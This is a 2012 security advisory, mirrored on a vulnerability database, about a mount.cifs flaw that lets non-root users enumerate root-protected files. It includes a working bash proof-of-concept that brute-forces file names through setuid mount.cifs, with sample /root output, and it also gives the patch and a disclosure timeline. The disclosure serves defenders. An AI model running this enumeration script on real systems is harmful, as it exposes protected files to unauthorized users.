Lucene search
K

mount.cifs chdir() File Identification

🗓️ 25 Apr 2012 00:00:00Reported by Jesus Olmos GonzalezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

mount.cifs privileged chdir leads to arbitrary file identification as root on linux. Vulnerability allows non-root user to enumerate root directories and files. Upgrade to version 5.4 or avoid setting setuid on mount.cifs

Code
`########## Blueliv Advisory 2012-004 ##########  
- Discovered by: Jesus Olmos Gonzalez at Blueliv  
- Risk: 5/5  
- Impact: 1/5  
###############################################  
  
1. VULNERABILITY  
-------------------------  
linux privileged and arbitrary chdir(),  
this leads to an arbitary file identification as root.  
  
2. BACKGROUND  
-------------------------  
mount.cifs (GNU Software) is part of linux base system, and is setuided on  
most of the distributions (archlinux, debian, ubuntu, ...)  
  
This software mounts cifs partition to directories authorized by fstab.  
  
  
  
3. DESCRIPTION  
-------------------------  
Althow there is not authorized cifs mounts, is possible by the second  
parameter  
to control a privileged chdir() syscall and infer the return value throught  
the responses.  
  
This implies, a little security breach on linux permissions. A non root user  
can enumerate files and directories as root.  
  
This can help to exploit another vulnerabilities, enumerate /root/  
contents,  
descriptors used by any process, user homes, etc ...  
  
one of the attack vectors is /root/ directory scan:  
  
[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/  
--- directories ---  
.pulse1  
.bash_history  
.alsaplayer  
.dbus  
.mozilla  
.VirtualBox  
.vim  
.links  
.config  
.cpan  
.gnome2  
--- files ---  
.pulse-cookie  
.keystore  
.bash_profile  
dead.letter  
.mysql_history  
.Xauthority  
.vimrc  
.viminfo  
secret  
  
Also let to enumerate sub-sub directories in order to dump readable files.  
  
  
  
4. PROOF OF CONCEPT  
-------------------------  
#!/bin/bash  
# root enumerator 0day by [email protected] @sha0coder  
# discover root protected files & directories, user homes, process  
descriptors, ...  
  
path=$2  
wordlist=$1  
  
for i in `cat $wordlist`  
do  
  
echo -n "$i:"  
  
/sbin/mount.cifs //127.0.0.1/a $path/$i  
  
done 2>log.$$ 1>&2  
  
echo --- directories ---  
for i in `grep 'denied' log.$$ | cut -d ':' -f 1`  
do  
echo $i  
done  
  
echo --- files ---  
for i in `grep -i 'not a directory' log.$$ | cut -d ':' -f 1`  
do  
echo $i  
done  
  
rm log.$$  
  
  
  
5. BUSINESS IMPACT  
-------------------------  
May involve issues of confidentiality.  
  
  
6. SYSTEMS AFFECTED  
-------------------------  
all versions prior to 5.4  
  
7. SOLUTION  
-------------------------  
Easy solution: Don't setuid mount.cifs  
The Patch: https://attachments.samba.org/attachment.cgi?id=7416  
  
Or upgrade to 5.4 release.  
  
  
8. REFERENCES  
-------------------------  
http://bugzilla.samba.org/show_bug.cgi?id=8821  
http://gnu.org  
  
  
9. CREDITS  
-------------------------  
Jesus Olmos Gonzalez jolmos(at)blueliv(dot)com @sha0coder  
Blueliv blueliv(dot)com  
Rootedcon Arena2012 rootedcon(dot)es  
  
  
10. DISCOLSURE TIMELINE  
-------------------------  
February 20, 2012: Vulnerability discovered  
March 07, 2012: Reported to the vendor, through bugzilla.  
March 13, 2012: No vendor respon.  
March 21, 2012: Reported again to vendor.  
March 27, 2012: Vendor response, studying the best way to fix it,  
but they recommend not to setuid by default.  
March 31, 2012: The patch was aplied to 5.4 release  
  
  
11. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Blueliv accepts no responsibility for any damage  
caused by the use or misuse of this information.  
  
  
  
  
--   
Jesús Olmos  
[email protected]  
OPST, CEH, ECSP certified  
  
Parc Innovació La Salle  
C/Sant Joan de la Salle 42, Planta 3  
08022 Barcelona  
Telf. + 34 902908712  
Fax. + 34 933960900  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation